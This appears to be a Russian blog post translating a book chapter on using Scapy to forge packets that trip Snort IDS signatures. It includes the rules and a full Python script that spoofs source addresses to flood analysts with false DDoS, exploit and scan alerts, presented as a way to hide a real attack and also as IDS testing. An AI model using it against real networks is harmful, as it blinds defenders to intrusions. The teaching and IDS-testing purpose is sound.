Главная

Friday, 11 September 2020

Система обнаружения вторжений и Scapy.

Всем привет.

Продолжим, сегодня пощупаем  cистему обнаружения вторжений с помошью Scapy.

Система обнаружения вторжений (IDS) - очень ценный инструмент в руках грамотного налитика. Сетевая система обнаружения вторжений (NIDS) может анализировать трафик в реальном времени за счет регистрации пакетов в IP-сетях. Путем сопоставления пакетов на базе известного набора вредоносных сигнатур IDS может предупредить сетевого аналитика про атаку, прежде чем она произойдет. Например, система SNORT IDS поставляется со множеством различных правил, способных обнаруживать разные типы эксплоитов и атак типа "отказ в обслуживании" среди большого разнообразия других векторов атак. Изучив содержимое одного из этих правил, мы можем увидеть четыре признака обнаружения TFN, tfn2k и Trin00. Когда злоумышленник использует TFN, tfn2k или Trin00 против цель, IDS обнаруживает атаку и предупреждает аналитика. Однако что происходит когда аналитики получают больше предупреждений, чем они могут физически обработать? Они теряют свою сноровку и могут упустить важную деталь атаки.

victim# cat /etc/snort/rules/ddos.rules

<..SNIPPED..>

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS TFN Probe";

icmp_id:678; itype:8; content:"1234"; reference:arachnids,443;

classtype:attempted-recon; sid:221; rev:4;)

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS tfn2k icmp

possible communication"; icmp_id:0; itype:0; content:"AAAAAAAAAA";

reference:arachnids,425; classtype:attempted-dos; sid:222; rev:2;)

alert udp $EXTERNAL_NET any -> $HOME_NET 31335 (msg:"DDOS Trin00

Daemon to Master PONG message detected"; content:"PONG";

reference:arachnids,187; classtype:attempted-recon; sid:223; rev:3;)

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS

TFN client command BE"; icmp_id:456; icmp_seq:0; itype:0;

reference:arachnids,184; classtype:attempted-dos; sid:228; rev:3;)

<...SNIPPED...>

Чтобы скрыть легитимную атаку от аналитика, напишем инструментарий который генерирует огромное количество предупреждений, которые должен обработать аналитик. Кроме того, сам аналитик может использовать этот инструмент, чтобы убедиться, что IDS может правильно идентифицировать вредоносный трафик. Написание сценария не составит большого труда, так как мы уже имеем правила, которые генерируют предупреждения.  Для этого мы снова будем использовать Scapy для генерации пакетов. Рассмотрим первое правило для DDOS TFN Probe: здесь мы должны сгенерировать пакет ICMP с идентификатором ICMP 678 и ICMP TYPE 8, содержащий незначащее наполнение "1234" в пакете. С помощью Scapy мы создаем пакет с этими данными и отправляем по назначению. Кроме того, мы собираем пакеты для теста наших трех других правил.

from scapy.all import *

def ddosTest(src, dst, iface, count):

pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load='1234')

send(pkt, iface=iface, count=count)

pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load='AAAAAAAAAA')

send(pkt, iface=iface, count=count)

pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load='PONG')

send(pkt, iface=iface, count=count)

pkt = IP(src=src,dst=dst)/ICMP(type=0,id=456)

send(pkt, iface=iface, count=count)

src="1.3.3.7"

dst="192.168.1.106"

iface="eth0"

count=1

ddosTest(src,dst,iface,count)


Запустив скрипт, мы видим, что к хосту назначения было отправлено четыре пакета. IDS проанализирует эти пакеты и сгенерирует предупреждения, если они соответствуют сигнатурам.

attacker# python idsFoil.py

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Изучив журнал предупреждений SNORT мы обнаружили, что у нас все получилось! Все четыре пакеты сгенерировали предупреждения для системы обнаружения вторжений.

victim# snort -q -A console -i eth0 -c /etc/snort/snort.conf

03/14-07:32:52.034213 [**] [1:221:4] DDOS TFN Probe [**]

[Classification: Attempted Information Leak] [Priority: 2] {ICMP}

1.3.3.7 -> 192.168.1.106

03/14-07:32:52.037921 [**] [1:222:2] DDOS tfn2k icmp possible

communication [**] [Classification: Attempted Denial of Service]

[Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106

03/14-07:32:52.042364 [**] [1:223:3] DDOS Trin00 Daemon to Master PONG

message detected [**] [Classification: Attempted Information Leak]

[Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:31335

03/14-07:32:52.044445 [**] [1:228:3] DDOS TFN client command BE [**]

[Classification: Attempted Denial of Service] [Priority: 2] {ICMP}

1.3.3.7 -> 192.168.1.106

Давайте посмотрим на другое более сложное правило в сигнатуре exploit.rules. файла для SNORT. Здесь последовательность определенных байтов будет генерировать предупреждения для ntalkd x86 Linux overflow и Linux mountd.

alert udp $EXTERNAL_NET any -> $HOME_NET 518 (msg:"EXPLOIT ntalkd x86

Linux overflow"; content:"|01 03 00 00 00 00 00 01 00 02 02 E8|";

reference:bugtraq,210; classtype:attempted-admin; sid:313; rev:4;)

alert udp $EXTERNAL_NET any -> $HOME_NET 635 (msg:"EXPLOIT x86 Linux

mountd overflow"; content:"^|B0 02 89 06 FE C8 89|F|04 B0 06 89|F";

reference:bugtraq,121; reference:cve,1999-0002; classtype

:attempted-admin; sid:315; rev:6;)

Чтобы сгенерировать пакеты, содержащие необработанные байты, мы будем использовать обозначение \x, за которым следует шестнадцатеричное кодирование байта. В первом предупреждении это генерирует пакет, который отключит сигнатуру эксплойта ntalkd Linux overflow. На второй пакет, мы будем использовать комбинацию необработанных байтов, закодированных как шестнадцатеричный код плюс стандартные символы ASCII. Обратите внимание, что 89|F| кодируется как \x89F, чтобы указать что здесь необработанные байты плюс символ ASCII. Следующие пакеты будут генерировать предупреждения о попытках использования уязвимостей.


def exploitTest(src, dst, iface, count):

pkt = IP(src=src, dst=dst) / UDP(dport=518) \

/Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8")

send(pkt, iface=iface, count=count)

pkt = IP(src=src, dst=dst) / UDP(dport=635) \

/Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F")

send(pkt, iface=iface, count=count)

Наконец, было бы неплохо подделать какое-нибудь сканирование. Мы исследуем правила SNORT для сканирования и находим два правила, для которых мы можем создать пакеты. Оба правила обнаруживают вредоносное поведение по протоколу UDP на определенных портах с данными. Для этой цели легко создадим следующее.

alert udp $EXTERNAL_NET any -> $HOME_NET 7 (msg:"SCAN cybercop udp

bomb"; content:"cybercop"; reference:arachnids,363; classtype:badunknown;

sid:636; rev:1;)

alert udp $EXTERNAL_NET any -> $HOME_NET 10080:10081 (msg:"SCAN Amanda

client version request"; content:"Amanda"; nocase; classtype:attemptedrecon;

sid:634; rev:2;)

We generate the two packets for the scan rules for cybercop and Amanda reconnaissance

tools. After generating the two packets with the correct UDP destination

ports and content, we send them to the target.

def scanTest(src, dst, iface, count):

pkt = IP(src=src, dst=dst) / UDP(dport=7) \

/Raw(load='cybercop')

send(pkt)

pkt = IP(src=src, dst=dst) / UDP(dport=10080) \

/Raw(load='Amanda')

send(pkt, iface=iface, count=count)

Теперь, когда у нас есть пакеты для генерации предупреждений об атаках типа "отказ в обслуживании" и эксплойтах, мы собрали наш сценарий и добавили парсинг опций. Обратите внимание, что пользователь должен ввести целевой адрес, иначе программа не запустится: если пользователь не может ввести адрес источника, мы сгенерируем случайный адрес источника. Если пользователь не указывает, сколько раз отправлять созданные пакеты, мы отправьте их только 1 раз. Сценарий использует адаптер по умолчанию eth0, если не указано иное. Хотя это упрощено для наших опытов в коде скрипта, вы можете продолжить этот сценарий для создания и тестирования предупреждений для всех типов атак.

import optparse

from scapy.all import *

from random import randint

def ddosTest(src, dst, iface, count):

pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load='1234')

send(pkt, iface=iface, count=count)

pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load='AAAAAAAAAA')

send(pkt, iface=iface, count=count)

pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load='PONG')

send(pkt, iface=iface, count=count)

pkt = IP(src=src,dst=dst)/ICMP(type=0,id=456)

166 CHAPTER 4: Network Traffic Analysis with Python

send(pkt, iface=iface, count=count)

def exploitTest(src, dst, iface, count):

pkt = IP(src=src, dst=dst) / UDP(dport=518) \

/Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8")

send(pkt, iface=iface, count=count)

pkt = IP(src=src, dst=dst) / UDP(dport=635) \

/Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F")

send(pkt, iface=iface, count=count)

def scanTest(src, dst, iface, count):

pkt = IP(src=src, dst=dst) / UDP(dport=7) \

/Raw(load='cybercop')

send(pkt)

pkt = IP(src=src, dst=dst) / UDP(dport=10080) \

/Raw(load='Amanda')

send(pkt, iface=iface, count=count)

def main():

parser = optparse.OptionParser('usage%prog '+\

'-i<iface> -s <src> -t <target> -c <count>'

)

parser.add_option('-i', dest='iface', type='string',\

help='specify network interface')

parser.add_option('-s', dest='src', type='string',\

help='specify source address')

parser.add_option('-t', dest='tgt', type='string',\

help='specify target address')

parser.add_option('-c', dest='count', type='int',\

help='specify packet count')

(options, args) = parser.parse_args()

if options.iface == None:

iface = 'eth0'

else:

iface = options.iface

if options.src == None:

src = '.'.join([str(randint(1,254)) for x in range(4)])

else:

src = options.src

if options.tgt == None:

print parser.usage

exit(0)

Foiling Intrusion Detection Systems with Scapy 167

else:

dst = options.tgt

if options.count == None:

count = 1

else:

count = options.count

ddosTest(src, dst, iface, count)

exploitTest(src, dst, iface, count)

scanTest(src, dst, iface, count)

if __name__ == '__main__':

main()

Выполняя наш последний скрипт, мы видим, что он правильно отправляет восемь пакетов на адрес и подменяет адрес источника как 1.3.3.7. В целях тестирования убедитесь, что цель отличается от атакующей машины.

attacker# python idsFoil.py -i eth0 -s 1.3.3.7 -t 192.168.1.106 -c 1

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Анализируя логи IDS, мы видим, что он быстро заполнился восемью предупреждающими сообщениями.

victim# snort -q -A console -i eth0 -c /etc/snort/snort.conf

03/14-11:45:01.060632 [**] [1:222:2] DDOS tfn2k icmp possible

communication [**] [Classification: Attempted Denial of Service]

[Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106

03/14-11:45:01.066621 [**] [1:223:3] DDOS Trin00 Daemon to Master PONG

message detected [**] [Classification: Attempted Information Leak]

[Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:31335

03/14-11:45:01.069044 [**] [1:228:3] DDOS TFN client command BE [**]

[Classification: Attempted Denial of Service] [Priority: 2] {ICMP}

1.3.3.7 -> 192.168.1.106

03/14-11:45:01.071205 [**] [1:313:4] EXPLOIT ntalkd x86 Linux overflow

[**] [Classification: Attempted Administrator Privilege Gain]

[Priority: 1] {UDP} 1.3.3.7:53 -> 192.168.1.106:518

03/14-11:45:01.076879 [**] [1:315:6] EXPLOIT x86 Linux mountd overflow

[**] [Classification: Attempted Administrator Privilege Gain]

[Priority: 1] {UDP} 1.3.3.7:53 -> 192.168.1.106:635

03/14-11:45:01.079864 [**] [1:636:1] SCAN cybercop udp bomb [**]

[Classification: Potentially Bad Traffic] [Priority: 2] {UDP}

1.3.3.7:53 -> 192.168.1.106:7

03/14-11:45:01.082434 [**] [1:634:2] SCAN Amanda client version request

[**] [Classification: Attempted Information Leak] [Priority: 2]

{UDP} 1.3.3.7:53 -> 192.168.1.106:10080


No comments:

Post a Comment

А что вы думаете по этому поводу?